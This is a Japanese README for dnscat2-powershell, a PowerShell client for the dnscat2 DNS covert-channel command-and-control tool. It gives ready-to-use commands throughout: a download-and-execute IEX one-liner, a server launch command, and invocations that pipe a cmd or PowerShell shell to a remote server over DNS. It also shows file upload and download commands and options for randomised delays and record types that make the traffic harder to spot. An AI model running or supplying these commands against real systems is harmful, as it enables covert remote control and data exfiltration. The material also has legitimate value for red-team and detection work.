
dnscat2(暗号化DNSコマンド&コントロールツール)のためのPowershellクライアント
dnscat2 は、@iagox86 (Ron Bowes) によるDNS covert channelツールであり、DNSリクエストを介してデータを転送するために使用されます。
これは、dnscat2 CクライアントのPowerShellバージョンです。
ブログ記事はこちら で、このスクリプトの目的と使用方法についてより詳細に説明しています。
このスクリプトを使用するには、Rubyの dnscat2サーバー が必要です。サーバーを実行する際には、必ず --no-cache オプションを追加してください。このクライアントはサーバーのキャッシュと互換性がありません。
まず、dnscat2サーバーをインストールします。 キャッシュを無効にしてサーバーを起動するには、--no-cache を使用します。サーバーを起動するコマンドは次のようになります: ruby dnscat2.rb --dns="domain=example.com" --no-cache
次に、Windows PowerShell(バージョン2.0以降)を起動します。以下のコマンドを使用して、dnscat2のPowerShell関数を読み込むことができます:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 は、クライアントとして使用される実際の関数です。-Domain を使用してdnscat2サーバーを指定します。
コマンドセッションを開始し、DNSリクエストを8.8.8.8のポート53に送信します:
Start-Dnscat2 -Domain <dnscat2 server> -DNSServer 8.8.8.8
cmdシェルを送信し、DNSリクエストをWindowsで設定されたデフォルトのDNSサーバーに送信します:
Start-Dnscat2 -Domain <dnscat2 server> -Exec cmd
コンソールセッションを開始します。CNAME、MX、AAAAリクエストのみを使用します:
Start-Dnscat2 -Domain <dnscat2 server> -LookupTypes @("CNAME","MX","AAAA") -Console
セッションを暗号化しません。暗号化はデフォルトで有効です。
Start-Dnscat2 -Domain <dnscat2 server> -NoEncryption
クライアントは通常のdnscat2コマンド、またはそのコマンドのPowerShellバージョンを処理できます。コマンドのPowerShellバージョンを使用するには、クライアントが検出する特定のパラメータを設定します(これらはサーバー上のコマンドセッションから実行されるコマンドです):
PowerShellシェルをシミュレートする新しいセッションを開始します(ExecPSのようなもの):
exec psh
サーバー上のapp.exeを$app PowerShell変数に格納された16進文字列にアップロードします:
upload app.exe hex:$app
$app PowerShell変数に格納されたバイト配列をサーバー上のapp.exeにダウンロードします:
download bytes:$app app.exe
-Domain <String> dnscat2サーバーが使用するドメイン。
-DNSServer <String> DNSクエリを送信するホスト名またはIPアドレス。(デフォルト: Windowsによって設定)
-DNSPort <Int32> DNSクエリを送信するポート。(デフォルト: 53)
-Command コマンドセッションを開始します。(デフォルト)
-Exec <String> プロセスのI/OをDnscat2セッションにリンクします。
-Console コンソールのI/OをDnscat2セッションにリンクします。
-ExecPS PowerShellセッションをシミュレートし、I/OをDnscat2セッションにリンクします。
警告: 終了すると、セッションだけでなく、dnscat2クライアント全体が終了します。
-PreSharedSecret サーバーと同じシークレットを設定して認証し、MITMを防止します。
-NoEncryption 暗号化を使用しません。
-LookupTypes <String[]> ランダムに切り替えるルックアップタイプの配列を設定します。
サポートされているのはTXT、MX、CNAME、A、およびAAAAレコードのみです。デフォルト: @(TXT, MX, CNAME)
-Delay <Int32> 各リクエスト間の遅延(ミリ秒単位)を設定します。(デフォルト: 0)
-MaxRandomDelay <Int32> 通常の遅延に追加されるランダムな遅延の最大値(ミリ秒単位)を設定します。(デフォルト: 0)
-MaxPacketSize <Int32> dnscat2パケットの最大長。(デフォルト: 240)
-Name <String> dnscat2セッションの名前。(デフォルト: ホスト名)
dnscat2-powershell は、サーバーからInvoke-Expressionにデータを渡すことでPowerShellセッションをシミュレートします。標準出力のみが返され、変数はクライアントの実行中保持されます。"exit" や "break" など、PowerShellを終了させるものに注意してください。これらはExecPSセッションだけでなく、dnscat2-powershellクライアント全体を終了させます。